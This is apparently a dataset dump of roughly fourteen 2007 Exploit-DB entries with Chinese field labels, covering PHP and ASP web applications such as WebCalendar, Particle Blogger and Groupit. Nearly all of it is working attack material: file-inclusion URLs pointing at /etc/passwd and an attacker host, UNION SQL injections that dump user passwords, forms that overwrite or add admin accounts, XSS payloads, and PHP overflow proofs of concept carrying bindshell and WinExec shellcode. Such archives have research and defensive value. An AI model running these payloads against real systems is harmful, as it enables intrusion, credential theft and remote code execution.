QLWD/code_shield huggingface dataset:
标题: WebCalendar 0.9.45 - 'includedir' Remote File Inclusion EDB-ID: 3492 CVE: 2007-1483 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-15 漏洞利用脚本: |-------------------------------------------------------------------------------|
| |
| WebCalendar v0.9.45 (13 Dec 2004) (login.php) Remote File include |
| |
| Script : WebCalendar |
| Version : v0.9.45 (13 Dec 2004) |
| Authord : Drackanz |
| Contact : Drackanz [at] gmail [] com |
| Vendor : http://www.k5n.us/webcalendar.php |
|-------------------------------------------------------------------------------|
| Bug in : |
| login.php |
| get_reminders.php |
| get_events.php |
|-------------------------------------------------------------------------------|
| EXPLOIT : |
| |
| http://localhost/[calendar]/ws/login.php?includedir=[evilscript] |
| http://localhost/[calendar]/ws/get_reminders.php?includedir=[evilscript] |
| http://localhost/[calendar]/ws/get_events.php?includedir=[evilscript] |
|-------------------------------------------------------------------------------|
| Greetz : Leo,hardose,s4mi,fucker_net,The Casper,Broken-Proxy,Simo64, |
| exe_crack,b0rizq,righterz,dragon,rachidox All Moroccan HackerX; |
| |
---------------------[ [Mor0ccan ISLAM Defenders Team] ]-------------------------

# milw0rm.com [2007-03-15] URL: https://www.exploit-db.com/exploits/3492
标题: PHP DB Designer 1.02 - Remote File Inclusion EDB-ID: 3501 CVE: 2007-1620 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-16 漏洞利用脚本: # PHP DB Designer <= 1.02 Remote File Include Exploit
# D.Script: http://sourceforge.net/projects/phpdbdesigner/
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# Exploit:[Path]/db/session.php?_SESSION[DRIVER]=Shell
# Exploit:[Path]/wind/help.php?_SESSION[SITE_PATH]=Shell
# Exploit:[Path]/wind/about.php?_SESSION[SITE_PATH]=Shell

# milw0rm.com [2007-03-16] URL: https://www.exploit-db.com/exploits/3501
标题: Guestbara 1.2 - Change Admin Login and Password EDB-ID: 3506 CVE: 2007-1553 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-18 漏洞利用脚本: <html>
<title>Guestbara &lt;= 1.2 Change admin login & password exploit by Kacper</title>
<table border=0 cellspacing=0 cellpadding=0 align='center'>

<form method='post' action='http://127.0.0.1/guestbook_path/admin/configuration.php?action=saveconfig&zapis=ok'><tr>

<tr><td width=200>Admin Email</td><td><input type='text' name='admin_mail' class='textfield' value=''></td></tr>
<tr><td width=200>Admin Name</td><td><input type='text' name='login' class='textfield' value=''></td></tr>
<tr><td width=200>Admin Pass</td><td><input type='password' name='pass' class='textfield' value=''></td></tr>
<tr><td  colspan=2 align=center>
  <p>
    <input type='submit' name='submit' value='Zachowaj'>
  </p>
  <p>by Kacper  </p>
  <p>for</p>
  <p><a href="http://www.rahim.webd.pl/" target="_blank">DEVIL TEAM </a></p></td></tr>
</form></table>
<p>&nbsp;</p>
<p align="center">script download: http://www.hotscripts.pl/produkt-3051.html</p>
<p align="center">Greetz @ll DEVIL TEAM </p>
</html>

# milw0rm.com [2007-03-18] URL: https://www.exploit-db.com/exploits/3506
标题: MPM Chat 2.5 - 'view.php?logi' Local File Inclusion EDB-ID: 3503 CVE: 2007-1613 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-17 漏洞利用脚本: # MPM Chat 2.5 (view.php logi) Local File Include Exploit
# D.Script: http://mpm.pahviloota.net/mpm_chat_25.zip
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# V.Code
<?php
if ($logi != '') {
include 'archive/' . $logi;
#Exploit: /[path]/view.php?logi=../../../../../etc/passwd

# milw0rm.com [2007-03-17] URL: https://www.exploit-db.com/exploits/3503
标题: McGallery 0.5b - 'download.php' Arbitrary File Download EDB-ID: 3494 CVE: 2007-1478 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-15 漏洞利用脚本: ################## Piker #######################################
#
#
#    McGallery 0.5b Arbitrary File Download Vulnerability
#
#
#    Affected software: McGallery 0.5b
#    Vendor: http://sourceforge.net/projects/mcgallery/
#    Dork: allintitle: "MCgallery 0.5b"
#
################################################################
#
#    http://[target]/[path]/download.php?filename=main.php
#
################################################################
#
#                   Found by Piker
#                   The Am0s Team
#
#    Greetz: KX-T33, kakalake, nAzGuL, Putus, sn4ke
#
################################################################

# milw0rm.com [2007-03-15] URL: https://www.exploit-db.com/exploits/3494
标题: PHP 4.4.6/5.2.1 - 'array_user_key_compare()' ZVAL dtor Local Overflow EDB-ID: 3499 CVE: 2007-1484 类型: LOCAL 平台: LINUX 发布日期: 2007-03-16 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP 4/5 - array_user_key_compare() ZVAL dtor exploit        //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // You can put in any shellcode you want. Just make sure that the
  // shellcode string starts with enough NOP space

  // NOPSPACE
  $shellcode = str_repeat(chr(0x90), 710);
  // A bindshell on port 4444 generated by Metsploit
  $shellcode .= "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
      "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
      "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
      "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
      "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
      "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
      "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";

  $arr = array(str_repeat("A", 39) => 1, "B" => 1);

  function array_compare(&$key1, &$key2)
  {
    $GLOBALS['a'] = &$key2;
    unset($key2);
    return 1;
  }

  uksort($arr, "array_compare");
  $x=array($shellcode => 1);

  $a[8*4+0] = $a[6*4+0];
  $a[8*4+1] = chr(ord($a[6*4+1])+2); // <--- This only works for Little Endian
  $a[8*4+2] = $a[6*4+2];
  $a[8*4+3] = $a[6*4+3];

  unset($x);

?>

# milw0rm.com [2007-03-16] URL: https://www.exploit-db.com/exploits/3499
标题: Particle Blogger 1.2.0 - 'post.php?postid' SQL Injection EDB-ID: 3500 CVE: 2007-1510 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-16 漏洞利用脚本: <!--

Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit

Type :

SQL Injection

Release Date :

{2007-03-16}

Product / Vendor :

Particle Soft

http://blogger.particlesoft.net/

Bug :

http://localhost/script/post.php?postid=-SQL Inj-

Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit :

-->

<title>Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit</title>
<body bgcolor="#000000">
<script language="JavaScript">
function ps() {
  {
    unique.action=""+document.unique.site.value+"/post.php?postid=-1/**/UNION/**/SELECT/**/null,username,password,null,null,null,null/**/FROM/**/pbl_users/*";
    unique.submit();
  }
}
</script>
<center><font face="Verdana" size="2" color="#FF0000"><b>Particle Blogger All Version Post.PHP (PostID) Remote SQL Injection Exploit</b></font></center>
<form name="unique" method="POST" onsubmit="ps();">
<center><font face="Arial" size="2" color="#00FF00">Site Address :</td></center><br>
<center><input type="text" name="site" value="http://localhost/script" size="44" class="unique" class="inputbox"></center><br>
<center><input type="submit" value="Apply" class="unique"></center><br>
<center><font face="Verdana" size="2" color="#FF0000"><b>UniquE-Key{UniquE-Cracker}</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>UniquE@UniquE-Key.ORG</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>http://UniquE-Key.ORG</b></font></center>

<!--

Tested :

Particle Blogger 1.1.2

Vulnerable :

Particle Blogger 1.2.0

Particle Blogger 1.1.2

Particle Blogger 1.1.1

Particle Blogger 1.1.0

Particle Blogger 1.0.0

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

-->

# milw0rm.com [2007-03-16] URL: https://www.exploit-db.com/exploits/3500
标题: wbblog - Cross-Site Scripting / SQL Injection EDB-ID: 3490 CVE: 2007-1482 2007-1481 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-15 漏洞利用脚本: ======================x=o=r=o=n=====================

WBBlog (XSS/SQL) Multiple Remote Vulnerabilities

======================x=o=r=o=n=====================

Bulan: xoron

xoron.biz

======================x=o=r=o=n=====================

SQL INJ:

index.php?cmd=viewentry&e_id=-1/**/UNION/**/SELECT/**/null,null,u_email,null,u_password,null/**/FROM/**/user/*

XSS :

index.php?cmd=viewentry&e_id="><script>alert('HACKED')</script>

======================x=o=r=o=n=====================

Vendor Site: http://liqua.com/wbblog.html

======================x=o=r=o=n=====================

Thnx: pang0

======================x=o=r=o=n=====================

# milw0rm.com [2007-03-15] URL: https://www.exploit-db.com/exploits/3490
标题: creative Guestbook 1.0 - Multiple Vulnerabilities EDB-ID: 3489 CVE: 2007-1480 2007-1479 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-15 漏洞利用脚本: .-""""""""-.                                 
                                                         /   Dj7xpl   \                              
                                                        |              |                                
                                                        |,  .-.  .-.  ,|                                
                                                        | )(_o/  \o_)( |                                     
                                                        |/     /\     \|                                 
                                              (@_       (_     ^^     _)                  
                                         _     ) \_______\__|IIIIII|__/_______________________________
                                        (_)@8@8{}<________|-\IIIIII/-|________________________________>
                                               )_/        \          / 
                                               (@
              
+_______________________________________________Iranian Are The Best In World___________________________________________+
#
#
#   Portal     :   Creative Guestbook 1.0
#   Download   :   http://www.thecreativeheads.de/CreativeFiles/downloads.php
#   Author     :   Dj7xpl  | Dj7xpl@yahoo.com
#   Dork       :   "Creative Guestbook"
#   Class      :   (Add Remote Admin User)   And   (Cross Site Scripting)
#
+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
#
#
#   css/xss :
#              http://[Target]/[Path]/Guestbook.php   <== Insert Yor Script
#              Example : <script> alert ('  dj7xpl ^_^  ') </script>
#
#
+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
#
#
#   Add Remote Admin User :
# 
# <form name="admin" method="post" action="http://[target]/[path]/createadmin.php?PHPSESSID='.session_id().'">
#       <input type="text" name="Name" value="name"><br>
#       <input type="text" name="Email"value="email"><br>
#       <input type="text" name="PASSWORD" value="password"><br>
#       <input type="submit" value="Admin hinzuf&uuml;gen" name="submit">
#   </form>
# 
# 
+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
#
#
#    Sp Tnx      :  Milw0rm, Ashiyane, Delta Hacking, Virangar, Hacker.ir, Shabgard.org,Simorgh .............
#
#
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-03-15] URL: https://www.exploit-db.com/exploits/3489
标题: PHP 4.4.6 - 'ibase_connect()' Local Buffer Overflow EDB-ID: 3488 CVE: 2007-1475 类型: LOCAL 平台: WINDOWS 发布日期: 2007-03-15 漏洞利用脚本: <?php 
// PHP <= 4.4.6 ibase_connect() & ibase_pconnect() local buffer overflow 
// poc exploit 
// windows 2000 sp3 en / seh overwrite
// by rgod
// site: http://retrogod.altervista.org


if (!extension_loaded("interbase")){
die("only works with interbase extension ");
}

$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";

$jmp="\xeb\xa1\xff\xeb"; // jmp short
$eip="\x86\xa0\xf8\x77"; // call ebx, ntdll.dll
$____suntzu=str_repeat("A",2676 - strlen($____scode));
$____suntzu.=str_repeat("\x90",190).$____scode.str_repeat("\x90",10).$jmp.$eip;
ibase_connect($____suntzu);

?>

# milw0rm.com [2007-03-15] URL: https://www.exploit-db.com/exploits/3488
标题: WebLog - 'index.php' Remote File Disclosure EDB-ID: 3484 CVE: 2007-1487 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-15 漏洞利用脚本: .-""""""""-.                                 
                                                         /   Dj7xpl   \                              
                                                        |              |                                
                                                        |,  .-.  .-.  ,|                                
                                                        | )(_o/  \o_)( |                                     
                                                        |/     /\     \|                                 
                                              (@_       (_     ^^     _)                  
                                         _     ) \_______\__|IIIIII|__/_______________________________
                                        (_)@8@8{}<________|-\IIIIII/-|________________________________>
                                               )_/        \          / 
                                               (@
              
+_______________________________________________Iranian Are The Best In World___________________________________________+
#
#
#   Portal     :   weblog
#   Download   :   http://www.holtstraeter.com/cybercheffe/pages/websoft.php?action=websoft_page_five
#   Author     :   Dj7xpl  | Dj7xpl@yahoo.com
#   Dork       :   "(C) by CyberTeddy"
#   Class      :   Local File Inclusion Exploit
#
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
#
#
#   Exploit :   http://[target]/[path]/index.php?show=showarticles&file=[local-file]
#
#   Example :   http://localhost/blog/index.php?show=showarticles&file=../../../../windows/php.ini
#               http://localhost/blog/index.php?show=showarticles&file=../../../../etc/passwd
#               http://localhost/blog/index.php?show=showarticles&file=../admin.php   <<< username&password(md5)        
#    
#
+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
#
#
#    Sp Tnx      :  Milw0rm, Ashiyane, Delta Hacking, Virangar, Hacker.ir, Shabgard.org,Simorgh .............
#
#
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-03-15] URL: https://www.exploit-db.com/exploits/3484
标题: Groupit 2.00b5 - 'c_basepath' Remote File Inclusion EDB-ID: 3486 CVE: 2007-1472 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-15 漏洞利用脚本: -------------------------------------------------------------------------------------
[ECHO_ADV_75$2007] Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability
-------------------------------------- ----------------------------------------------

Author          : Dedi Dwianto a.k.a the_day
Date Found      : March, 15th 2007
Location        : Indonesia, Jakarta
web             : http://advisories.echo.or.id/adv/adv75-theday-2007.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~

Application     : Groupit
version         : 2.00b5
URL             : http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~

- Invalid include function at html/content.php
-----------------------html/content.php------------

<?
...
include "$c_basepath/base/groupit.start.inc";

if (!empty($c_is_search))
{
  include "$c_basepath/modules/search/main.inc";
} else
{
  if ($c_is_section)
  {
     include  "$c_basepath/modules/content/section.inc";
  } else
  .........

include "$c_basepath/base/groupit.stop.inc";
?>
----------------------------------------------------------

Input passed to the "$c_basepath" parameter in load.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

html/userprofile.php
html/password.php
html/dispatch.php
html/deliver.php

and More ....



Proof Of Concept:
~~~~~~~~~~~

http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?

Solution:
~~~

- Sanitize variable $c_basepath affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~
    EcHo Research & Development Center
    http://advisories.echo.or.id
    erdc[at]echo[dot]or[dot]id
    the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2007-03-15] URL: https://www.exploit-db.com/exploits/3486
标题: WSN Guest 1.21 - 'id' SQL Injection EDB-ID: 3477 CVE: 2007-1517 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-14 漏洞利用脚本: <!--

WSN Guest 1.21 Version Comments.PHP "ID" SQL Injection Exploit

Type :

SQL Injection

Release Date :

{2007-03-14}

Product / Vendor :

WSN Guestbook

http://scripts.webmastersite.net/wsnguest/

Bug :

http://localhost/script/comments.php?id=-SQL Inj.-

SQL Injection Exploit :

-->

<title>WSN Guest 1.21 Version Comments.PHP "ID" SQL Injection Exploit</title>
<body bgcolor="#000000">
<form name="entryform" method="get" action="http://localhost/script/comments.php">
<table width="500" border="0" align="center">
<font face="Verdana" size="2" color="#FF0000"><b>WSN Guest 1.21 Version Comments.PHP "ID" SQL Injection Exploit</b></font>
<br>
  <tr>
    <td align="right"><font face="Arial" size="1" color="#00FF00">SQL Injection Code</td>
    <td>&nbsp;</td>
    <td><input name="id" type="text" value="-1/**/UNION/**/SELECT/**/name,password,null,null,null,null,null,null,null,null,null/**/FROM/**/wsnguest_members/*" class="inputbox" style="color: #000000" style="width:300px; "></td>
  </tr>
  <tr>
    <td align="right"><font face="Arial" size="1" color="#00FF00">Search Board</td>
    <td>&nbsp;</td>
    <td>
      <select name="">
        <option>(ALL)</option>
      </select>&nbsp;
      <input type="submit" value="Apply">
    </td>
  </tr>
</table>
</form>
<center><font face="Verdana" size="2" color="#FF0000"><b>UniquE-Key{UniquE-Cracker}</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>UniquE@UniquE-Key.ORG</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>http://UniquE-Key.ORG</b></font></center>

<!--

Tested :

WSN Guest 1.21

Vulnerable :

WSN Guest 1.21

WSN Guest 1.02

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

-->

# milw0rm.com [2007-03-14] URL: https://www.exploit-db.com/exploits/3477
标题: Orion-Blog 2.0 - Remote Authentication Bypass EDB-ID: 3481 CVE: 2007-1471 类型: WEBAPPS 平台: ASP 发布日期: 2007-03-15 漏洞利用脚本: <!--

Orion-Blog v2.0 Version Remote Privilege Escalation Exploit

Type :

Privilege Escalation

Release Date :

{2007-03-14}

Product :

Orion-Blog

Bug :

http://localhost/script/admin/default.asp

Privilege Escalation Exploit :

-->

<title>Orion-Blog v2.0 Version Remote Privilege Escalation Exploit</title>
<body bgcolor="#000000">
<script language="JavaScript">
function ps() {
  {
    unique.action=""+document.unique.site.value+"/admin/AdminBlogNewsEdit.asp";
    unique.submit();
  }
}
</script>
<table width="500" border="0" align="center">
<font face="Verdana" size="2" color="#FF0000"><b>--- Orion-Blog v2.0 Version Remote Privilege Escalation Exploit ---</b></font>
<form name="unique" method="POST" onsubmit="ps();">
<center><font face="Arial" size="2" color="#00FF00">Site Address :</td></center><br>
<center><input type="text" name="site" value="http://localhost/script" size="44" class="unique" class="inputbox"></center><br>
<center><input type="submit" value="Apply" class="unique"></center><br>
<center><font face="Verdana" size="2" color="#FF0000"><b>UniquE-Key{UniquE-Cracker}</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>UniquE@UniquE-Key.ORG</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>http://UniquE-Key.ORG</b></font></center>

<!--

Tested :

Orion-Blog v2.0

Vulnerable :

Orion-Blog v2.0

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

-->

# milw0rm.com [2007-03-15] URL: https://www.exploit-db.com/exploits/3481